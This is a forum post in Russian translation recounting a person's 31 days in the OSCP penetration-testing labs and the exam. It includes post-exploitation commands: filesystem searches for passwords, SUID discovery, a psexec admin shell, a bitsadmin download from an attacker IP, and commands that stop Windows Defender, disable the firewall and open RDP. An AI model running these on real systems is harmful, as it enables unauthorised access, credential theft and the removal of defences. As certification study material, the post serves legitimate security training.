• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья 31 день опыта OSCP [Перевод]

g00db0y

g00db0y

Red Team
11.06.2018
83
331
Доброго времени суток, codeby.
Первоисточник:
Перевод: Перевод выполнен от команды Codeby


Привет, народ. Я сдал экзамен по OSCP с первой попытки в октябре прошлого года. Кстати, экзамен оказался не таким и сложным, как я ожидал. Он начался в 13:30 23 октября и все машины были загружены и готовы к 19:30 этого же дня. Следующие два часа я провел, создавая полный отчет и отправлял его куда только мог. На весь экзамен, который должен занять 24 часа, плюс отчет, занимающий еще 24 часа, у меня ушло всего 8 часов. Через два дня я получил письмо из главного офиса Offsec, подтверждающий, что я сдал экзамен.

Вот, что происходило на экзамене. Многие люди спрашивают меня, почему я посчитал экзамен легким. Я не профессионал и далеко не элита. Это означает, что я очень хорошо готовился. А теперь позвольте мне детально описать весь ход экзамена и мою подготовку к нему.

P.S. я никогда не пользовался виртуальной машиной kali, предоставленной Offsec. Я использовал свой собственный дистрибутив Debian 9-Stretch с встроенными инструментами, которые я использовал на практических занятиях и на экзамене.

Пролог

Я вернулся домой после зарубежного проекта Threat hunting в июле 2017 и обнаружил, что двое моих друзей уже зарегистрировались на курсах OSCP. Подумав, а почему бы нет, я тоже зарегистрировался 6 августа на двухмесячный практический курс. Мои курсы должны были начаться 10 сентября. У меня не было никаких особых планов на ближайший месяц, кроме рутинной работы в офисе. Занятия же моего друга уже начались, и наблюдая за ним, я начал немного волноваться. Причина моего волнения заключалась в том, что я никогда хорошо не разбирался в WepAppSec. Я понял, что мне надо много заниматься. Я начал штудировать VMs из VulnHub и HTB (HackTheBox).

Проходили бессонные ночи, и к 5 сентября я уже разобрался с около 70+ CTF/Машин. У меня уже были приличные знания относительно Python, Ruby, C и C ++; так что я не очень беспокоился о модификациях эксплойтов. Моей единственной проблемой был WepAppSec. Потому что я знал, если я в системе, повышение прав всегда было для меня легкой задачей. Следующие 4 дня, с 6 по 9 сентября, я провел, читая статьи про ассемблер и просматривая видео по переполнению буфера из Академии Pentester (Vivek Ramachandran), его видео потрясающие!

Основная часть

Итак, наступило 10 сентября, т.е. воскресенье, и мои занятия начались в 6 часов утра. Я законектился к VPN Offsec, и я знал, все, что я получу – это IP, а все остальное будет зависеть от того, что я буду делать. Я запустил «быстрое сканирование» в Nmap и по некоторым найденным именам хостов смог определить, что я нахожусь в доменной среде. Итак, я быстро написал bash script для поиска всех существующих IP-адреса и возможных хостов из AD DC. Вы можете найти script здесь ( ) . Как только я нашел основные детали всех систем, я попытался взломать первую машину, и это было сделано примерно через 15-20 минут. Я попробовал следующую машину и так далее в порядке возрастания числа IP-адресов, которые я обнаружил и смог взломать четыре машины в первый день. Моя уверенность взлетела до небес в тот день. До сих пор я ни разу использовал Metasploit ни для одной машины.

Итак, я сделал несколько комментариев:
  • Старайтесь избегать использование Metasploit любой ценой. А также никаких эксплойтов и никаких meterpreter шеллов. (Однако мне пришлось использовать их в нескольких местах, где нужно было использовать шелл-код или нужно было быстро перенести мой шелл из нестабильного эксплойта/процесса);
  • Для создания шелла используйте только msfvenom;
  • Используйте netcat для реверсивного шелла;
  • Обрабатывайте, по крайней мере, 3 машины в день. Выполняя все это, я смог завершить все мои практические занятия по машинам в течение 30 дней максимум.
  • Занятия проходили с 9 до 18 на расстоянии 50 км от моего дома. Поездка занимала 2 часа. Учитывая то, что я просыпался в 5 утра с целью обработать хотя бы одну машину до 6.30, это взбадривало меня, а затем я уходил в офис. Когда я возвращался из офиса к 19.30, моя цель была обработать хотя бы 2 машины к 24 часам. Когда-то 2 машины, когда-то 3. Таким образом, я смог обработать первые 35 машин к 25 сентября. Воскресенья были для меня домашним арестом, и я мог многое сделать. Я использовал приведенные ниже инструменты и технологию для обработки большинства машин:
  1. Nmap, Netcat для сканирования портов и тестирования на наличие уязвимостей;
  2. Dirbuster, Gobuster, Nikto и Burpsuite для сканирования Web приложений;
  3. Tcpdump, Wireshark для сниффинга трафика;
  4. Python HTTP Серверы для обслуживания RFI php шеллов;
  5. Mimikatz, pwdump, fgdump, pwdump и procmon для дампов паролей и для атак hash/golden ticket;
  6. Cuda Hashcat для взлома паролей (используя GUI);
  7. Iptables, proxychains и sshuttle для тунелирования трафика;
  8. Medusa, Hydra для брутфорса логина/пароля;
  9. Grep, sed, awk, sort, uniq, find, findstr, cut для обнаружения паролей и конфиденциальных файлов во время повышения привилегий и восстановления их после эксплуатации;
  10. Snmpenum, enum4linux, nullinux, smbmap для smb and snmp перечисления;
  11. Powershell scripts и bitsadmin для загрузки файлов (настоятельно рекомендуется, если вы не используете meterpreter);
  12. Sendemail, Python Servers для социальной инженерии (вам придется выполнять социальную инженерию на автоматизированных бот-системах для атак на стороне клиента);
  13. Accesscheck.exe от sysinternals и Ntrights.exe, Churrasco.exe, чтобы найти уязвимые и неверно настроенные конфигурации ;
  14. Psexec для перемещения между сетями и удаленными шелл;
  15. Cadaver и davtest для проверки доступа на чтение/запись на Windows ASP (на основе веб-сервера).
  16. Я использовал много однострочных обратных шеллов: perl, python, bash, socat и awk от pentestmonkey для быстрых tcp-реверсных шеллов.
Другие ловкости

Post Exploit Enumeration
Код:
grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always

Загрузка файлов в системах Linux через кодировку base64

Конвертирование файлов в base64:
Код:
cat file2upload | base64

Как только файл конвертируется в base64, вы можете просто создать новый файл на удаленной системе и скопировать в него вывод base64 вышеуказанного файла. Следующим шагом будет обращение base64 к двоичному коду.
Код:
cat fileWithBase64Content | base64 -d > finalBinary

Вы также можете использовать файл из репозитория Impacket для размещения временного сервера smb и извлечения файлов в windows с удаленных серверов smb с помощью команды net use.

PSexec шелл удаленных систем
Код:
.\psexec64.exe \\192.168.x.x -u .\administrator -p admin@123 cmd.exe

Например: Получить шелл cmd.exe удаленной системы с правами администратора и паролем admin@123

Powershell Sudo для Windows

Могут возникать такие случаи, когда у вас идентификационные данные (креды, the creds) к учетной записи администратора, но сам шелл обладает низкими правами доступа. В отличие от Linux, мы не можем использовать sudo на компьютерах с Windows. Итак, я написал простой скрипт для PowerShell, который может запускать отдельный файл от имени администратора. Вы можете запустить пакетный файл, чтобы добавить нового суперпользователя, или просто запустить бинарный файл meterpreter от имени администратора. Команда ниже должна быть выполнена в окне powershell
Код:
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'

Однако, в том случае, если вы хотите запустить powershell из командной строки cmd, вы можете запустить команду store, указанную выше, в файле xyz.ps1 и запустить ее в cmd, как показано ниже:
Код:
powershell -ExecutionPolicy Bypass -File xyz.ps1

Закачивание файлов в Windows с помощью bitsadmin
Код:
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe

Отключение брандмауэра/фаервола и включение
RDP для всех

В отдельных случаях вы будете обладать правами администратора, и вам может понадобиться RDP-сессия, чтобы узнать, что именно происходит в бэкенде для последующей эксплуатации. Команды ниже помогут вам отключить брандмауэр и включить RDP через незащищенные соединения:
Код:
sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Вывести на экран файлы с номером строки, где она была найдена
Код:
grep -rnw '/' -ie 'password' --color=always

Обнаружение файлов с SUID правами доступа
Код:
find / -perm -4000 -type f 2>/dev/null

Обнаружение файлов с открытыми правами доступа
Код:
find / -perm -777 -type f 2>/dev/null

Обнаружение файлов с SUID правами доступа для текущего пользователя
Код:
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

Обнаружение файлов с правами на запись/перезапись для текущего пользователя или текущей группы
Код:
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul

Обнаружение каталогов с правами на запись для текущего пользователя или текущей группы
Код:
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

Если вы не собираетесь использовать meterpreter, то использование набора инструментов Sysinternals от Microsoft может оказаться очень полезным. Я использовал его для дампа паролей из памяти, с помощью procmon и psexec для перемещения по доменной. Есть также другие инструменты, такие как netmon.exe и инструменты анализа smb, которые могут помочь вам определить, какая именно машина взаимодействует с конкретной системой.

Самыми серьезными машинами, о которых я слышал до запуска OSCP, были Pain, Ghost, Humble и Sufference. Однако, ни одна из них не являлась для меня достаточно сложной. Самой сложной машиной для меня была совершенно другая сеть с именем JACK. С Pain я справился примерно за 6 часов, с Ghost and Sufference – где-то за 3-4 часа на каждую. Humble заставила меня грызть собственные ногти. Это была потрясающая машина, в которой сочеталось множество различного рода эксплойтов. Я взялся за эту машину в 12.00 ночи и, наконец, закончил к 4.30 утра. Я думал, что, поскольку точка входа была трудной, повышение прав доступа, по идее, должно быть легким, но как же сильно я ошибался. Мне потребовалось еще 4 часа, чтобы получить необходимые права доступа.

В итоге, начав в 12.00 ночи, я смог закончить с этой машиной лишь к 9.00 утра.

31 день опыта OSCP [Перевод]


Теперь самое сложное. Я обнаружил, что в лабораториях существует больше чем одна сеть, и все эти они разделены. Я пытался их использовать, но не смог их обработать. Посмотрев внимательно, я обнаружил, что есть зависимости от других машин. Короче говоря, машины в других сетях, также как и машины в текущей сети - объединены. Это именно тот момент, когда я начал что-то понимать:

Эксплуатация системы, сама по себе, довольно проста, а вот навыки ПОСТЭКСПЛУАТАЦИИ могут действительно заставить вас сойти с ума...

К сожалению, большинство людей, которых я знаю или встречал однажды, имеют тенденцию разбираться только с первыми 30 машинами лабораторий, затем сдавать экзамены и в итоге терпеть неудачу. Однако, причина неудачи в том, что основная лаборатория запускается после первых 39 машин. Когда вы подключаетесь к другим сетям, находите зависимости машин, как в реальной доменной сети, выполняете настраиваемую маршрутизацию вручную, используете iptables, изменяете правила брандмауэра Windows, настраиваете прокси-цепи и межсетевое сканирование с помощью sshuttle. Я должен был вернуться ко всем тем 35 машинам, с которыми я работал, и начать запускать свой пост эксплуатационный скрипт на всех них. Вы можете найти скрипт восстановления Linux, который я написал в bash, . Это полезно для повышения прав доступа, а также для поиска паролей других пользователей, неправильно сконфигурированных каталогов и так далее. Для windows я вручную просматривал каталоги и файлы или использовал команду findstr для поиска конфиденциальных файлов.

Итак, сегодня 5 октября и большинство машин на данный момент обработано. Выполнив сканирование, я понял, что есть еще одна сеть, ожидающая обработки, с тремя машинами. И поверьте мне, эта сеть была сумасшедшей. В лаборатории OSCP VPN вы можете видеть, когда машина была возвращена к исходному состоянию или была использована кем-то еще. Большинство машин были возвращены к исходному состоянию с отставанием максимум 2 дня. Но черт возьми. Машин в этой сети вообще не касались последние 54 чертовых дня. Это был город-призрак, и мне пришлось перепрыгнуть через несколько сетей, чтобы добраться сюда. Соединение было медленным насколько это возможно, так как выполнение сканирования Nmap заняло несколько часов. Наконец я смог обработать две машины оттуда. Я справился с 54 машинами за 28 дней. У меня оставалось еще 33 дня, и передо мной стояла задача, отработать по последней машине. Это был могущественный JACK. Мне ничего не удавалось найти. Я проконсультировался с администратором Offsec, и они сказали: «Посмотрите, что именно находится перед вами». Это заставило меня вспомнить диалог с мистером Роботом.


«Вы можете видеть только то, что находится перед вами, а не то, что над вами»


Я работал два дня, и, в итоге, ничего так и не добился. Прежде чем сойти с ума, я подумал о том, что имеет смысл посоветоваться с моим другом, который уже закончил эту машину, и он дал мне небольшой намек. Затем я понял, что сказал администратор Offsec. Все было точно передо мной. Я просто проигнорировал это, думая, что это не может быть настолько глупо, и это оно. Наконец, на 31-й день я решил, что работа с этой машина и всеми моими лабораторными машинами была завершена (включая скрытую секретную машину, которая очень зависима).

Я решил просто отдохнуть на несколько дней за компьютером, подготовить свои записи о том, что я нашел, и, наконец, назначил экзамен на 23 октября.

Заключительный экзамен:

Offsec мне сообщили о минимальных оценках, необходимых для прохождения экзамена. И я не собирался представлять свой лабораторный отчет, что означало, что мне нужно обработать почти все машины, чтобы пройти экзамен.

Экзамен начался в 13:00. Я закончил первую машину с наивысшими баллами примерно за 20 минут. Это было довольно легко. Я застрял во Второй машине с самыми низкими баллами на 1,5 часа. Испугавшись, я решил пропустить эту машину. Я обработал еще 2 машины за 30 минут каждую. Последняя машина с наивысшими оценками буквально сбивала с толку, но я все же смог с ней справиться за 1,5 часа или около того. Таким образом, теперь у меня были все очки, необходимые для прохождения экзамена, и еще 19,5 часа, чтобы решить вторую машину, которую я оставил с наименьшими баллами. Взглянув на то, что я собрал с этой машины за 1 час, я обнаружил, что ответ был прямо передо мной. Я попробовал использовать ручной эксплойт и бум! Я был root.

Однако мне не пришлось использовать Metasploit или meterpreter ни для одной машины. Я наконец составил отчет и отправил его к 21:00, а через два дня получил уведомление о том, что я сдал экзамен.

Эпилог

Последнее, что я бы хотел сказать читателям, это то, что экзамен не имеет значения. Настоящая суть содержится в лабораториях, которые на самом деле заставляют вас изучать каждую чертову вещь. Если вы не решите хотя бы 45-50 лучших машин в лаборатории, то вы буквально потратили впустую свои лабораторные деньги. OSCP - это не экзамен и, по крайней мере, не то, что нужно делать, чтобы повысить свою ценность на рынке. OSCP - это путешествие, и настоящий его вкус вы ощутите лишь тогда, когда вы будете расстроены, запутаны, сбиты с толку и, наконец, найдете ответ самостоятельно.

Это был длинный пост я это прекрасно понимаю, но я хотел поделиться своими знаниями, полученными во время экзамена.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб